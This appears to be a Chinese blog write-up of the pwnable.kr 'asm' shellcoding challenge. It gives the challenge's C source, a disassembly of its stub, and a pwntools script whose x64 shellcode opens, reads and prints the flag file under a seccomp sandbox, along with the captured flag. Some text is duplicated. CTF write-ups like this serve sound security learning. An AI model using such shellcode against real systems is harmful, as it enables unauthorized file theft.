pwnable.kr 之asm
2017-04-30 16:45
239 查看
一个真正的高手应该学会写shellcode.
首先查看c代码:
hint:写出你的64位shellcode代码.
once you connect to port 9026, the “asm” binary will be executed under asm_pwn privilege.
make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory)
译文:连接上本地服务器的9026端口,asm程序正在运行,过了这个程序就可以拿到flag,flag所在的文件是:this_is_pwnable.kr_flag_file_please_read_this_file.sorry_
the_file_name_is_very_looooooooooooooooooooooooooooooo
ooooooooooooooooooooooooooooooooooooooooooooo00000
00000000000000000000ooooooooooooooooooooooo0000000000
00o0o0o0o0o0o0ong.
分析:
看代码可以知道程序分配了0x1000的内存给sh指针,然后将这段内存清空,将寄存器清空的代码填入:
由于沙盒只允许运行open、read、write函数,所以我们可以使用x64的rax, rsp寄存器存放我们需要的内容然后输出到标准输出流,可以使用pwntools生成shellcode.
shellcode:
结果:
这是第一次接触到shellcode,写得不对的地方,还请大家指正.
再说一点其他,汇编中leave,ret.
leave:esp=ebp+8,ebp=[ebp]
ret:eip=[esp],esp=esp+8
注:环境linux 32bit,其他环境没尝试过.
首先查看c代码:
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/mman.h> #include <seccomp.h> #include <sys/prctl.h> #include <fcntl.h> #include <unistd.h> #define LENGTH 128 void sandbox(){ scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); if (ctx == NULL) { printf("seccomp error\n"); exit(0); } seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); if (seccomp_load(ctx) < 0){ seccomp_release(ctx); printf("seccomp error\n"); exit(0); } seccomp_release(ctx); } char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff"; unsigned char filter[256]; int main(int argc, char* argv[]){ setvbuf(stdout, 0, _IONBF, 0); setvbuf(stdin, 0, _IOLBF, 0); printf("Welcome to shellcoding practice challenge.\n"); printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n"); printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n"); printf("If this does not challenge you. you should play 'asg' challenge :)\n"); char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0); memset(sh, 0x90, 0x1000); memcpy(sh, stub, strlen(stub)); int offset = sizeof(stub); printf("give me your x64 shellcode: "); read(0, sh+offset, 1000); alarm(10); chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp sandbox(); ((void (*)(void))sh)(); return 0; }
hint:写出你的64位shellcode代码.
once you connect to port 9026, the “asm” binary will be executed under asm_pwn privilege.
make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory)
译文:连接上本地服务器的9026端口,asm程序正在运行,过了这个程序就可以拿到flag,flag所在的文件是:this_is_pwnable.kr_flag_file_please_read_this_file.sorry_
the_file_name_is_very_looooooooooooooooooooooooooooooo
ooooooooooooooooooooooooooooooooooooooooooooo00000
00000000000000000000ooooooooooooooooooooooo0000000000
00o0o0o0o0o0o0ong.
分析:
看代码可以知道程序分配了0x1000的内存给sh指针,然后将这段内存清空,将寄存器清空的代码填入:
>>> from pwn import * >>> print disasm("\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9 >\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d >\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31 >\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff") 0: 48 dec eax 1: 31 c0 xor eax,eax 3: 48 dec eax 4: 31 db xor ebx,ebx 6: 48 dec eax 7: 31 c9 xor ecx,ecx 9: 48 dec eax a: 31 d2 xor edx,edx c: 48 dec eax d: 31 f6 xor esi,esi f: 48 dec eax 10: 31 ff xor edi,edi 12: 48 dec eax 13: 31 ed xor ebp,ebp 15: 4d dec ebp 16: 31 c0 xor eax,eax 18: 4d dec ebp 19: 31 c9 xor ecx,ecx 1b: 4d dec ebp 1c: 31 d2 xor edx,edx 1e: 4d dec ebp 1f: 31 db xor ebx,ebx 21: 4d dec ebp 22: 31 e4 xor esp,esp 24: 4d dec ebp 25: 31 ed xor ebp,ebp 27: 4d dec ebp 28: 31 f6 xor esi,esi 2a: 4d dec ebp 2b: 31 ff xor edi,edi
由于沙盒只允许运行open、read、write函数,所以我们可以使用x64的rax, rsp寄存器存放我们需要的内容然后输出到标准输出流,可以使用pwntools生成shellcode.
shellcode:
from pwn import * con = ssh(host='pwnable.kr', user='asm', password='guest', port=2222) p = con.connect_remote('localhost', 9026) context(arch='amd64', os='linux') shellcode = '' shellcode += shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong') shellcode += shellcraft.open('rsp', 0, 0) #字符串存在了栈rsp上面,open函数打开该文件 shellcode += shellcraft.read('rax', 'rsp', 100)#读取100个字节长度到缓冲区中,这里是到rsp中 shellcode += shellcraft.write(1, 'rsp', 100) #linux下0--->stdin,1--->stdout,2--->stderr.write(1,'rsp',100)相当于将缓冲区中的内容输出 # log.info(shellcode) p.recvuntil('shellcode: ') print (shellcode+'\n') p.send(asm(shellcode)) log.success(p.recvline())
结果:
root@kaliSevie:~/Desktop# python a.py [+] Connecting to pwnable.kr on port 2222: Done [*] asm@pwnable.kr: Distro Ubuntu 16.04 OS: linux Arch: amd64 Version: 4.10.0 ASLR: Enabled [+] Connecting to localhost:9026 via SSH to pwnable.kr: Done [+] Mak1ng_shelLcodE_i5_veRy_eaSy [*] Closed remote connection to localhost:9026 via SSH connection to pwnable.kr
这是第一次接触到shellcode,写得不对的地方,还请大家指正.
再说一点其他,汇编中leave,ret.
leave:esp=ebp+8,ebp=[ebp]
ret:eip=[esp],esp=esp+8
注:环境linux 32bit,其他环境没尝试过.
相关文章推荐
- 通过pwnable.kr从零学pwn
- [pwnable.kr] input
- pwnable.kr [Toddler's Bottle] - shellshock
- pwnable.kr [Toddler's Bottle] - lotto
- pwnable.kr之leg ARM指令初步了解
- pwnable.kr - fd
- pwnable.kr [Toddler's Bottle] -fd
- pwnable.kr---leg
- pwnable.kr - brain fuck
- pwnable.kr第二遍---random
- pwnable.kr [Toddler's Bottle] - collision
- pwnable.kr [Toddler's Bottle] - cmd1
- pwnable.kr第二遍---mistake
- echo1(Pwnable.kr)
- pwnable.kr simple login writeup
- pwnable.kr-bof-Writeup
- pwnable.kr [Toddler's Bottle] - bof
- pwnable.kr详细通关秘籍(二)
- pwnable.kr 之fd
- pwnable.kr之input